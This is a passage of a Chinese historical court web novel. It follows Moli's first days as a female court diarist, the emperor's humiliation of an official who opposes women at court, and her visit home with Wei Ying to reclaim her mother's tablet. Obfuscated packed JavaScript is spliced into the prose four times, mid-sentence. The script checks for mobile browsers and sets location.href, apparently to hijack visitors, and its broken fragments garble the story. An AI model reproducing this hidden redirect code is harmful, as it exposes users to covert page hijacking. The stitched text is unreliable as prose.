茉莉倒在魏缨身上，乖巧道：“我都记住啦！姐姐别担心。我会常来看你的。” 魏缨搂着她，淡然一笑：“再来就是稀客，届时姐姐会为你备上美酒佳肴，我们对影小酌，同榻而眠。” 茉莉仰脸笑道：“太好了。但不知到哪天此间事情能了，我眼下很矛盾，既想快些去，又想慢些去。” 魏缨道：“咱们这陛下快人快语，想必就这一两天的事了。” 茉莉嗲声嗲气地道：“姐姐，我舍不得你。” “姐姐也舍不得你。”魏缨想起她先前回绝裴念元一事，寻思这裴大人是个面冷心热的，该不会与她计较。忍不住，提醒道：“回头要是见到裴大人，你记得向她赔个不是。” 茉莉一怔，随即明了：“好。” 魏缨这便放心了，问道：“今晚想吃什么？姐姐给你做。” 茉莉笑道：“我想吃炙虾和西江料！” 当下魏缨去小厨房领新鲜肉食菜蔬，茉莉留在屋里收拾细软，待敕旨到，茉莉得知明日上任，住所将要搬至紫兰亭边，午后便按照指引，在宫内跑前跑后，直忙到傍晚。魏缨备好酒菜，姊妹两个边吃边谈，直至夜深，相拥而眠。 翌日，寅时，天光晦暗不明，茉莉悄然起身下床，给魏缨掖好被角，又把取暖炭盆拢了拢，方从宜春院出发，出内廷，穿太极宫，过通明门，入得门下省。省中属官大半已至，一色男子，老老少少，高矮胖瘦不一，俱着官服，五颜六色，三三两两地站在廊下闲谈，等待早朝。 东方既白，茉莉背着包袱出现，一众官员齐刷刷地望过去，但见眼前少女衣饰简单，身量匀亭，姿容鲜灵秀逸，当即有人认出，她是波斯使者谒见先帝时，在庭前献舞的伶人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120145|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一众交头接耳，声音窸窸窣窣的，直挠人心肝。茉莉大感局促，却大方地拱手一礼：“下官新任起居郎单茉莉，这厢有礼。” 廊下登时安静下来，片刻后，人群中一声轻嗤。忽有人道：“李大夫，今日早朝你可要辛苦了。” 李大夫问：“给事中何意？” 那姓张的讥讽道：“左谏议大夫掌谏诤议论。陛下登基以来，任命官员男女不分，去岁裴念元入阁，念在她文武兼修，出身世族就罢了，今命一介卑鄙伶人入我门下省，岂非重大过失？”说罢，翻茉莉一记白眼。 茉莉心知这二人是她顶头上司，却毫不示弱地瞪回去，见那给事中中等健壮身材，着绯袍，方脸狭长眼，鼻子肥阔，双唇如腊肠般，紫红暗沉，多看一眼都十分折磨。 李大夫明白其意，却并不想续谈，只道：“张让慎言，陛下此举虽然欠妥，但我等不可背后妄议。” 给事中张让与京兆府尹洪祎交情甚笃，自然知道眼前女子是祸事根源，自打陛下装聋作哑，他们就在琢磨复仇。正好楚棣此时不在长安，不对茉莉下手，却要对谁？ 受那一瞪，张让心里厌上加厌，恨上加恨，高声喊道： “众位，请听张让一言！今庙堂上女流频入，咱们寒窗苦读十数载，为的是与这些野心勃勃的无知妇人同朝为官吗？同为男子，身处其中，若不勠力同心将女人赶出朝堂，只怕从此朝上不谈国是，唯道家长里短了。” 众人之中虽有仰仗公主势力的，但自昔年，亲见楚棠与公主相争，便都隐隐盼着大晋能有一日不再牝鸡司晨。但令朝野震惊的是，楚棠登基后似乎有意提拔女官，且都居于要职。 头一个是裴念元，年轻气盛，自为凤阁舍人后，多与上官冲突，因其祖父裴谈曾为宰相，阁中诸人当着面时，敢怒不敢言。后来有人与太史局属官结为同盟，上奏“雌鸡化雄”的天象，意在动摇圣心。 只是不曾想到，三日后，圣人下诏命当世第一的观星家袁弈入朝，其高足栾梦星在庭前替师辩经，大获全胜，那属官当即革职查办，其职授栾梦星，这是第二个女官。 第三个就是茉莉。 共事以来，众人对裴栾二人的能力有目共睹，捏着鼻子，倒也认下这同僚。但眼前这个，内廷女伶出身，除了狐媚惑主，还会做甚？他们着实想不出。 听了张让这番话，众男子热血翻涌，都对茉莉投去或怒视、或轻蔑、或探究的目光，意在让她知难而退。 茉莉心知肚明，他们是因她的性别而生出轻视，故而镇静地迎上那些不怀好意的目光，丝毫不让。 只听众人开始讨论她的出身、身份，又说她被父亲典为洪祎妾室的事情。茉莉越听越怒，上前一步，怒斥道： “身为女子如何？出身寒微又如何？枉诸位寒窗苦读，终于学而优则仕，莫非一入庙堂，便将开蒙小儿朗朗上口的‘王侯将相，宁有种乎’尽数抛诸脑后了？” 不等接言，茉莉趁热打铁，取出敕旨举到一众面前： “圣人亲笔敕旨在此，本官即刻上任，但有异议，请诸位殿前死谏。” 一众铩羽而归，纷纷拂袖而去。 40. 早朝 不多时，人皆散尽，只见一名青袍男子走到茉莉面前，深深躬身一礼：“在下起居郎叶璨，往后能与姑娘共事，实是三生有幸。” 这叶璨正值而立，学问扎实，考明经科入仕，四年来，一直在门下省任录事，年初右迁起居郎，前途如其名字一般，光明灿烂。性情温和，平素从不与人争执，因此外号叫做“和合家”。 众人为难茉莉，他并未参与其中，只是站在后头，好奇这小女郎出身寒微，何能不经考核便入朝入官，并且直升六品。他的人生若有此等际遇，岂不是好？ 茉莉瞧他沈腰潘鬓，风姿俊逸，当是一号风流人物，当下拱手还礼：“茉莉初来乍到，请叶郎中多多指教。” “好说好说。”叶璨点头微笑，上前道：“单郎中刚刚上任，还未领官袍吧？时辰还早，你随我来。” 茉莉跟着叶璨穿过长廊，来到一处宽阔大殿，殿中正坐一名矮胖的中年官员，慈眉善目，满脸无聊，手边放一本花名册。见茉莉进门，便即起身问：“你是新任起居郎元氏、讳茉莉的？” “不，”茉莉纠正道：“我姓单，单茉莉。” 中年官员见怪不怪，淡淡道：“出示照身贴，本官为你更正姓氏。” 茉莉从怀里摸出新的照身贴，递过去，中年官员翻开，仔细核对过后，提笔在名册上一勾，说道：“成了。这是你的官服，织染署连夜赶制的，你现在回去试试，哪不合适退回去改。” 茉莉双手接过，躬身道：“多谢监管。” “你初来乍到，七日内需跟随叶璨入殿上值，同步书面记录，待下值后再拿出文本对照、纠正。七日后将记录交与本官，合格即可排班上值。” “多谢监管，下官告退。”当下茉莉回到位于紫兰亭的住所，换上精工细绣的墨绿官袍，束紧满头青丝，戴上软幞头，怀里抱着笔墨纸砚，推门出去。 叶璨见了，眼前一亮，赞道：“真像个饱读诗书的美少年。” “叶郎中过誉了，咱们走吧。”茉莉羞赧地埋下头，抬手扶了扶帽檐。 一径来至太极殿上，二人具纸笔立于左边螭头下，茉莉不近不远地站在叶璨身后。 不过多时，百官入殿站定，听得内侍总管高声一喊，就见楚棠头戴冠冕，着一身群青黑红团花弁服，自侧殿走来，百官跪地山呼：“吾皇万岁万岁万万岁！” 楚棠在龙椅上坐定，道：“众卿平身。”目光透过珠帘在殿中逡巡。 百官应声而起，都规规矩矩地颔首聆讯。 楚棠道：“诸位爱卿，内史一职开缺已久，今朕决定，任命度支郎崔骐为内史，长陵侯窦兆为凤阁侍郎，自今日起，二人入阁议事。” 崔窦二人皆属外戚，品行能力却皆然不同，文武百官不质疑崔骐，但觉抬举窦兆不妥，不禁一片哗然，只是没人敢贸然开口劝谏。 片刻后，一个四十出头的红袍文官出列跪地，恳切道：“微臣崔骐，深谢陛下知遇之恩。眼下国库空虚，微臣与户部同僚常常商议如何节俭开支、新开门路以充国库，三两日难以成书上奏。假若此时脱手离去，众人心血必付之东流，故微臣不能领受圣恩，请陛下-体谅。” 话音未落，文武百官齐刷刷地望向崔骐。 内史之位未定时，窦太后已几番敲打楚棠，要他提拔舅父窦兆，见说不动，只好以孝道相压。母子俩冷战足两月有余，元日后，楚棠听说太后镇日郁郁寡欢，终于心软服输，亲去立政殿请安叙谈，方达成今日结果，却不想，崔骐不领情。 楚棠不快，但神色如常：“如此也好，待你户部事毕，做好交割，再做打算。” 崔骐遗憾至极，天下士子，于不惑之年入阁为宰者几多？他崔骐算一个，可是为了家族能够蒸蒸日上，现在绝不能应。 一来圣人抬举崔氏，必定惹恼窦太后，后宫争斗自不必说，那是妹妹的战场，但因此在朝中生出更多派系斗争，于国不利，赢了也十分不值。 二来崔氏攻文，在军中无人可用，眼下是崔骧在南衙扎根的好机会，能够弥补家族短板，将来皇子曙雀成年，朝中若生变故，南衙之力必有大用。 三来窦太后隐忍多年，终于头顶青天，来势汹汹如飓风过岗，崔氏必须蛰伏，光耀必得于窦氏之后。 “微臣领命。”崔骐躬身退下，列位站定，与右侧崔骧目光相接，点头示意。 楚棠了然，崔骐拒绝上任内史，必是皇后的意思，一时气闷，但没有发作，只问：“众卿可有本奏？” “臣有本奏。”张让出列，躬身道：“今早臣在门下省点卯，见到新上任的起居郎元氏，形容尚小，性情泼辣，听说原为内廷一等伶人，臣请陛下拆解，元氏何能担任起居郎一职？” 三言两语又引起一阵哗然，众人望向螭头下的叶璨，再一细看，便找到茉莉。茉莉脑子里“轰”一声，一片空白，面红耳赤的，把头垂得更低，等待陛下开口。 楚棠压着怒气，不答，只是问：“张大夫相人入目三分，是否对朝中官员皆有评断？” 张让谦恭道：“微臣不敢。”他出身不高，能久居庙堂多靠结党，怎敢随意开罪同僚。 楚棠阴阴笑道：“你说元氏‘形容尚小，性情泼辣’，这都不错，但这与她上任起居郎有何干系？” “没有关系。” “朕问你，元氏若为男子，你可会对她评头论足？” “不会。” “好么，依张大夫的意思，元氏错在生而为女。” “微臣绝无此意。”张让知道话中陷阱，脸上一阵青一阵白，解释道：“自陛下登基以来，已经连续任命三名女官，且都身居要职，微臣不懂此为何意。难道先帝时，公主摄政的教训还不够么？如此时日一久，朝中阴盛阳衰，无异于倒反天罡也！” “公主摄政，还教训？”楚棠一阵大笑，忽地肃声怒斥：“尔见风使舵之辈！记得么？公主摄政时，你像个锯了嘴的葫芦，何曾说过一句半句？朕如今不过任命三个女官，你就觉得倒反天罡，要行谏议之责，直言上谏了？你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120146|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜评断女官，那朕告诉你，朕对你亦有评断。你想听吗？” 圣心如天心，难以揣测，文武百官见状，皆是你看看我，我看看你，心下茫然。 张让知道，那“评断”必不是好话，与其颜面扫地，不如死谏，此举风险虽大，但收益也大，成则名垂青史，败则苟全性命。少顷大喊：“大晋今日乾坤来之不易，微臣绝不能眼睁睁看着陛下重蹈覆辙！元氏资质平平，不堪大用，陛下今日不将她罢黜，微臣宁愿立刻撞死在昏君眼前！” 楚棠一肚子气终于有了发泄处，怒目而喝：“来人，把张让给朕架起来！” 两名千牛卫架起张让，楚棠走至阶前，讥讽道：“张让，就凭你，也想名垂青史？要死回家死，别弄脏朕的大殿。” “陛下——”张让深感羞辱，使出一身牛劲要撞柱子，却动弹不得，一时身子悬在空中，分外滑稽。 楚棠在阶上负手而立，居高临下，睥睨道：“赐谏议大夫张让龙膏酒一壶，两队千牛卫即刻送其回府，饮下御酒再回宫复命。” 听闻此言，张让心知此命休矣，绝望地闭起眼睛，流下两行清泪，万分悔恨，来不及叩头谢恩，就被千牛卫大力拖出殿去。 门下省官员尽数跪倒在地：“请陛下饶恕张让大夫。” 尚书、中书两省官员，俱应声跪地求情，右边的武将们，望向上将军宋蔺，见无甚反应，就只是跪倒，没有开口。 楚棠踱了两步，寒声问：“朕任命女官一事，众卿可还有谏言？”百官各有盘算，皆噤声不语，而后一连点了几名老臣名号，一无所获。 楚棠摆摆手，道：“众卿有目共睹，张让今日看似死谏，实则字字句句，皆为博身外之名，朕绝不令其如愿，故而赐酒训诫。往后政务，朕但有不妥之处，还望众卿直言相告，只是莫要抓小放大，做沽名钓誉之辈。” “臣等遵命。”殿中雷鸣般应答。 朝堂恢复秩序，楚棠坐回龙椅上，与百官照例议了几件要紧政务，便宣布散朝，只留两名亲信随行。茉莉叶璨尚在当值，必须跟随圣驾。来至甘露殿中，还未落座，楚棠就悠然一笑： “九妹，来与朕杀一盘。” “诺。”裴念元答。 待得二人对坐，摆上棋盘，楚棠执黑子，裴念元执白子，一人下过四手，王山遥和厉堰在一边观战。 茉莉草草记下早朝风波，想等回到门下省再做细化，停笔后方有空思忖—— 说实话，她虽嫌恶张让，但并没有置其于死地的想法。想起赐酒，她心里总是有些愧疚，但一细想，此事因她而起，却非因她而生祸端，究其根本，是君臣之争。 张让公然辱骂陛下“昏君”不说，甚至以性命要挟，这才令陛下震怒，继而生出灭顶之灾。 可一细想，茉莉便觉此事远不如表面那样简单，虽说“雷霆雨露，俱是君恩”，但是身为君主，遇到行事乖张的臣下便赐死了之，仿佛也称不上“帝王心术”。 真相究竟为何？茉莉很好奇。 41. 春日游 棋局正酣，忽听楚棠问：“朕今日处理张让，你们以为是否妥当？” 众人登时面面相觑，好半晌，王山遥才答：“依臣之意，张让罪不至死，但就公然辱骂陛下一点，赐死倒也使得。只是他身居谏议大夫之职，直言上谏反遭陛下羞辱，若将此事收录国史，岂非为陛下徒留争议？” 楚棠慨然道：“是好是歹，留与后人评说。山遥不要多虑。”然后落下一子，问：“厉堰怎么想？” 厉堰拱手答：“微臣和王大人一样。” “九妹，你呢？”楚棠轻声问。 裴念元正捡盘上棋子，显然是兴奋的，抬头却是冷声道：“张让意在公器私用，借陛下之手排除异己，该死。” 一句话，简单明了，爱憎分明，茉莉对她更加佩服。 楚棠被杀了一片，看着残局无处落子，连连摇头：“你就半点儿不留情面？” 不想裴念元问：“陛下，张让何曾给您留过情面？” 楚棠感到窝心，看着裴念元明亮的眼睛，单是笑笑，在棋盘上胡乱走上一步，“恐怕要让你失望了，朕并未赐死张让。” 王山遥等人惊讶不已，想到朝会上那“小惩”二字，恍然大悟道：“如此说来，陛下赐酒意在捉弄？” “是也。”楚棠冷笑着，“张让包藏祸心，眼下其心尚未完全暴露，想一死留名，哪有那么容易。” 登基以前，楚棠通过东宫眼线得知，张让和洪祎能够平步青云，皆因背靠公主这棵大树，直到现在，他们仍然为公主效忠。 破例启用女官，除惜才以外，楚棠另有一份心思——他要逼迫这些呼喊着“效忠女主”的官员跳出来反对任用女官，以此离间，彻底扑灭公主干政之心。 楚棠不能容忍镇国公主在他登基后，仍然对政治抱有热情，据他推测，公主让如意随身侍奉，意在培养如意的野心和手段。 这是一个长远的女子干政计划，到那一天，男君会再次受制于她们。故而，他要从内部瓦解公主势力，让她再次步入庙堂时，脚下悬空，失去根基。 而她的一切根基，正是世族老臣和依赖她的官员。 唯其如此，楚棠才能真正执掌这个国家。每每想到公主助他登基，他就提醒自己，要更加隐秘地执行计划，除卢绾以外，连他的心腹王山遥、厉堰等人也暂且不能知道。 最后，楚棠看着眼前三人，笑道：“绝处逢生，有不有趣也？” 三人各作各想，但都点头一笑，不论是张让的绝望，还是国君少见的顽皮，都让他们感到有趣。 见此情景，茉莉终于明白何为“帝王心术”，也终于明白，楚棣说“我的处境，无人能懂”。 她仿佛能看见，楚棣在这位天真而残忍的兄长手下，如何顽强艰难地过活，又如何成长为独当一面的男人。可是，平心而论，兄长爱他，只是用着一种奇特的方式。 最后，楚棠被裴念元杀个落花流水，眼见下哪里棋都不活了，便放下棋子，起身道：“山遥为主，厉堰押阵，朕来观棋。” 王山遥已将棋局看得十分透彻，闻言，从善如流地入座，落下一子，挽救半壁江山。 楚棠拍手叫好：“厉害！一举痛歼敌军。” 裴念元沉着应对，落子笑道：“臬台，你打过仗么？怎么战法如此轻狂？还是叫军师上来吧。” 厉堰只是摇头：“你们一决胜负便是，不要叫我。” 王山遥捡起几颗棋子，自顾自道：“兵贵神速，虽不是万全之策，却可突出重围，取意外之利。你看，陛下将主力分别放在中、西、东三部，受你方牵制，动弹不得，若我再以缓兵之计合围，至少得花六、七、八步。你那头看似声势浩大，实则徒有其表，只要我能赢上个一子半子，咱们就慢慢周旋吧。裴大人，承让了。” “你的意思是暂不决战？” “那是自然。” 裴念元不假思索，再落下一子，局势又有改动，边看棋边问厉堰：“阿蘅不是喜欢下棋么？你们在家没少切磋吧。” 厉堰笑道：“去岁跟堂姐学了小半年，没学到什么，还在兴头上呢，你可别招她，越输越来劲。” 王山遥问：“厉堰，这步棋走得如何？” 厉堰过去一看，赞道：“好棋，又活了。” 裴念元冷笑一声：“别高兴太早，打完这边再说。”手中捻子，眯起眼思索起来。 楚棠不精弈道，看了半晌还是云里雾里，便很坐不住了，悄无声息地在殿内游走。 茉莉竖起耳朵听下棋，但觉不是一场普通对弈，而是国家大事，见楚棠来了，连忙提笔，垂着脑袋佯装忙碌。 楚棠低声道：“我说茉莉，就你这两下子，怎么想到让张让死谏的？” “微臣没有——”茉莉登时僵住，两颊绯红，把头埋得更低。 “有就有，别不认。”声音从顶上传来，明明带着笑意，“乱拳打死老师傅，你已在门下省一战成名了。” 茉莉讶然不语，只觉得当时鲁莽，下次定不会了，现在想想，其实是后怕的。 楚棠道：“朕过几日要去骊山行猎，你不当值，那件事就自己回去办吧。” 茉莉犹犹豫豫：“谢陛下。” 楚棠听罢，笑意凝在脸上，问道：“你不想为你母亲复仇了？” 茉莉对那对豺狼父母吓怕了，一人回去，恐怕茫茫然不知该如何着手，当时就生出些许退意，神色暗淡，望着不染一尘的木地板，轻悄悄地说：“微臣很想，但不知道该怎么办......”说出这句话时，她为自己的胆怯和无能感到羞耻。 楚棠忽然觉得她不堪大用，简直让人生厌。 片刻后，茉莉伏跪于地，正声道：“微臣恳请陛下降旨，命我父亲写下休书。” 之所以没有下旨，是楚棠不想掺和到臣下家事当中。他想借此机会，让茉莉暂时离开门下省这是非之地，回家，直面恐惧，亲自了却心事，否则往后即使能够独当一面，也是只纸老虎。 他想培养一个野心勃勃，没有家族使命、没有派系，能够完全为他所用的人。 沉默少顷，楚棠淡淡道：“没有圣旨，你就没办法么？” 茉莉生怕错失机会，连忙答：“有。”声音响亮，惊了对弈的三人，一齐望过来， 楚棠笑了，“那你随朕出宫，自行回府吧。” “微臣叩谢陛下。”茉莉大为振作，磕头谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129586|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恩。 三日后，圣驾起行去骊山行猎，正好魏缨休沐，与茉莉约好一同回蓝田料理家事。 时逢孟春，楚棠没有选择妥帖暖和的车队，而是点几名心腹，上百亲随，就着便服打马出宫，茉莉、魏缨身着男装混在其中。 城中百姓闻风而动，拖家带口上街赶集，实为瞻仰天颜，将朱雀大街两边堵得水泄不通——楚棠一即位便着手整顿吏治，将欺压百姓的世族官员坐法处死。当时国政大局摇摇欲坠，也在他手中稳定下来，没有行差踏错导致国中生乱。 这种种手笔，都让楚棠洗清过去的荒唐事迹，将民心争取过来。 一阵急促的马蹄声，雷鸣般，自宫门传来，百姓纷纷跪地山呼：“吾皇万岁——万岁——万万岁！”一阵又一阵山呼海啸，拥着马队离开长安。 本对男君略有不满的茉莉，在这一声声真实的民意中，除了匪夷所思，还不由自主地觉出自身的粗浅、狭隘。她想，在蓝田大营中，楚棣捍卫的也许不是他的兄长，而是一个值得尊敬的人，一个好君主。 通读国史以来，茉莉为镇国公主不能登基为帝的郁郁之情，都在这一日消散殆尽。 春风挟雨，丝丝缕缕，绵密如一张网，将所有人网在其中。这时，卢绾提议找个茶棚避雨休整。 楚棠脸上挂着雨珠，欣然同意：“去把茉莉叫来避雨。” 听闻圣意，茉莉执意拉魏缨一起。 “此地离蓝田不远，”楚棠与卢绾说话，一抬头，兀地看见魏缨，一身银青袍服，乌发束起，眉如黛，眼如星，国色清清，温婉动人。当时怔住，对茉莉微微笑道：“这是...你的姐姐？”随即与卢绾四目相对，便即心意相通。 茉莉忙拉过魏缨，见礼道：“回陛下，这是我的姐姐，魏缨。” 楚棠恍然：“闻得魏卿花神之名，何故屈尊入宫为...伶？” 魏缨但觉突兀，到底稳住了，盈盈下拜，口中答道：“奴婢身无长物，入得内廷，谋求温饱而已。” 楚棠笑道：“何为温饱？”神情认真，目光已不能从她脸上移开。 “此芝麻绿豆事，早已解决，陛下无需操心。”魏缨不疾不徐，不卑不亢。 楚棠心中生疑，却顾不得了，忽然敛起笑意：“卿本佳人，在内廷为伶着实委屈。今日朕就为你谋一处好归宿。” 魏缨柔声谢礼：“奴婢多谢陛下美意。只是奴婢是罪臣之女，自知身份卑鄙，不敢有待嫁之心。” 楚棠凝神端详，心里寻思，这绝世美人，不论嫁谁都是暴殄天物，真真不可暴也！不如自行收用以充宫室。随口打趣道：“魏卿颇通对谈之道。”然后对茉莉一笑：“往后你与同僚交谈辩论，可得多向魏卿请教。” “请姐姐多多指教。”茉莉配合，拱手见礼。 “陛下，您可真叫茉莉病急乱投医也。奴婢十几年前因父坐法，没入掖廷为奴，见识粗浅，何敢对御前女官指指点点。” “卿竟如此命途多舛。” “都过去了。” 楚棠不禁赞道：“魏卿宠辱不惊，足有大家风范，真可惜今日路分两头，不能同去骊山了。” 魏缨会意，只是颔首浅笑。 42. 漆灯风飐 雨停了，千草回芽，绿树生花，春意悄然而至，官道上骏马飞驰，百人队伍紧随其后，往骊山方向奔去。 “姐姐，圣人可真是热心肠呢，初次相见就要为你赐婚。”茉莉惊讶道。 “圣人那是试探。”魏缨牵起茉莉的手。 “试探什么？”茉莉分明看见，圣人看她，看得眼睛都直了。 “无非是我的来历、目的云云。”魏缨心知肚明。 生于官门，长于掖庭，让她貌似易碎，却异常坚韧，这种矛盾感，恰为圣人喜爱，加以王山遥对她的种种培养、改造，今日一切，既在她意料之外，又在她意料之中。 茉莉一厢情愿地认为姐姐可做皇妃，当下笑道：“姐姐表里如一，无甚可试探耶。” 魏缨只是说：“走吧，这件事权当没发生过。咱们最好在午后赶到你阿舅家里，把事情说明白。” “好，都听姐姐的。”茉莉走出茶棚牵了马来，翻身上马，往蓝田而去。 一路上，她都在感慨：“姐姐何不随圣人去骊山？眼下宫中除了皇后娘娘就只有三位美人，她们膝下无子，想来不得宠吧。圣人对姐姐一见倾心，姐姐入宫，必能占尽风光。” 魏缨从无争宠之意，可也期待“占尽风光”那一日吧，回神拆解道：“崔家圣眷正浓，圣人登基半个月便册封皇后，自然是伉俪情深了。三位美人皆出名门，尚且颓败于皇后手中，我若入宫，孤立无援，只会寸步难行。” 茉莉一听，便即明白了：“还是姐姐思虑周全，妹妹佩服。那姐姐可想过下一步该怎么走？” 魏缨思忖片刻：“下一步......不急。咱们走，恰！恰！”说着打马狂奔，竟越过茉莉去了。 从远处看，单家是一个模糊的土团。直到近了，方能看清是几间土屋，三面矮墙，院内两棵香樟树长得极高，枝桠愣愣的，探出墙去。树下拴一只通体雪白的大狗，趴在地上，软洋洋地打着哈欠，一听见响动，霍然起身，竖起耳朵，定定地盯着门外。 屋主人探出头来，但见两个衣饰华丽的小官人杵在院外，与白狗对峙，半天不动，连忙放下饭碗，出门喝道：“小铁，不许吓着客！” 白狗小铁回头去蹭主人小腿，随地坐下了。 “客进门请坐。”随着声音，院里走来一个身材精瘦的中年男人，皮肤黝黑，一身夹棉赭衣裤黑布鞋，是个实实在在的农家汉，单家老二，讳青。 茉莉怕狗，站在招手门外大喊：“阿舅！我是茉莉呀！” 听说茉莉逃婚一事，单青上元府讨要说法，被家丁啐了一脸赶出门来，无奈之下，回乡请秀才写下状纸，欲往长安告状，不知是谁走漏风声，害他半路被抓回乡里遭了一顿毒打，软禁两月有余。 直到上元，元府派人上门告知“三娘自愿与京兆尹为妾”，他那时卧床养伤，无法上门求证，等到能下地走动时，茉莉再度不知去向。 舅甥二人多年未见，可单青只一眼就认出茉莉，他不敢信，凝神再看，那眉眼、神情，与她阿娘一模一样。 单青把茉莉拉到面前，由上到下打量好几遍，这才向屋内大喊：“大姐，快出来，你看谁来了！”手把茉莉抓得更紧，疾步朝院里去。 撩帘出来一个粗布麻衣的高瘦妇人，腰间系着围裙，见着茉莉和魏缨一身华服，不禁局促地擦手，讪讪问道：“二位官人是？” “这是茉莉呀！咱家的茉莉！”单青回头说：“这是你舅妈。” 阿娘说过，舅妈李氏为她绣过几套小衣服。茉莉喉头一紧，抱住舅妈和舅舅，呜呜咽咽的，好像哭了。 单青拍她背心道：“外头风大，咱们先进去。你们吃过饭了么？大姐，你去村东头切点儿肉回来，我做几个好菜招待咱家的娇客。” “好！”李氏应声进屋，把本就陈设简单的陋室粗略收拾过后，径自出门去了。 茉莉抬手，用力地擦干眼泪，道：“阿舅，这是魏缨姐姐，自从我到长安，一直是她在照顾我。” “魏姑娘，”单青顿住片刻，忽然说：“感谢您照顾茉莉，这段日子，她没给您添麻烦吧？” 魏缨与父母阴阳两隔，妹妹又远在太原，陡然进入这淳朴热情的农家，心底自是动容，不禁笑道：“茉莉和我相依为命，多亏有她，才让我不再是孤零零的一个人。” “那也好。”单青端来两碗清茶，分与她们，“坊间都说你去了京兆府，怎么又......” 魏缨接过话头：“阿舅，茉莉如今是御前六品女官，与她父亲平起平坐，出不出息也？” 单青双目圆睁道：“姑娘莫要玩笑，咱家茉莉是很机灵，可这天下，哪有女子做官的？” 茉莉闻言，把逃婚后的种种奇遇简略说来，阿舅听得入神，心情跌宕起伏，一时紧张，一时庆幸，双目定定望住茉莉，由衷地赞许：“还真是个做官的样子，比你阿耶还要气派。” “阿舅，你还记得要为我母亲复仇吗？”茉莉忽然问。 单青敛起笑意，垂下脑袋，沉默了。尽管他认为妹妹去世不是意外，可他只是一个农夫，除了怀疑，还能做什么？这些年来，为了茉莉能在元府过得、哪怕只是好一点点，他已经吃尽了苦头。 魏缨说：“阿舅，此番茉莉回家，是要你与她同去元府，把她母亲的牌位和坟茔迁回家里。” 单青默然有顷，抬头问：“她阿耶能答应？”茉莉熬出头不容易，他不想拖她的后腿。 “这不重要。” “你的意思是用强？” “不，这都是圣人允准的。” 单青正拍手叫好，门外脚步杂沓而至，李氏掀开门帘，手里提着一块儿鲜肉和一块儿油纸包裹的瘦肉沫子，进门边招呼客人。 魏缨起身，追进去：“舅妈，我来给您打下手。” 李氏在围裙上猛擦双手，将魏缨向外推：“好姑娘，饿了吧？先坐下吃茶，叫她阿舅做两个菜，就来！” 单青入厨炒菜，李氏去地里摘了一簸箕苦菜、芹菜和苜蓿，回屋把菜放在桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136954|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上，茉莉魏缨围着她坐下，边摘菜边说话。 李氏唤做秋，与小姑阿冰自幼相识，情谊甚笃，自打小姑出嫁，她就总惦记着要去元府探望，是那主母可恶，几次把她挡在门外，不得相见。她从未见过外甥女，但因小姑和丈夫的缘故，也打心里疼爱着茉莉。 今日如愿以偿了，她却腼腆起来，千言万语，不知该从何说起。 还是茉莉指着魏缨道：“舅妈，这是魏缨姐姐。” 李秋忙道：“魏姑娘，辛苦你照顾茉莉了。” 魏缨边摘菜边说：“我痴长茉莉几岁，照顾她是应该的，再说，我将来还指望她为我谋一条好出路呢。”虽是说笑，却也有几分真意。 李秋满怀欣慰，看着茉莉，客气道：“姑娘仙女儿似的，要做什么不成？茉莉能帮你什么？” “舅妈还不知道，”魏缨颔首浅笑，“茉莉在御前当差，能帮我的可多了。” 李秋讶然，但见两个姑娘通身气派，相信不是假话。顺着话问，“我家茉莉做官儿了？” “是。”茉莉点头道：“舅妈，我现在跟我父亲一样，是个芝麻绿豆官。” “县令？不小了！”李氏眼前一亮，快言快语，“你父亲半截入土还是县令，你才多大？十六、十七，将来出息大的很！” “舅妈，我要去元府迎我母亲牌位还家，你意下如何？”茉莉寻思，要是舅妈不肯，便把母亲牌位奉在寺庙，定不让他们为难。 “当初你爹强要你阿娘做妾，家里本不同意，但我们农家哪里拗得过官家，只好认了倒霉。十二年前，你阿娘去世，我们本想接你回来，想着家里再穷，总有你一口饭吃，但你父亲不松口。这些事你不知道，原本也没机会让你知道。如今你出息了，能想着把你阿娘接回家里，我和你阿舅高兴还来不及，哪里会不同意。”李氏说到动情处，眼里溢满了泪。 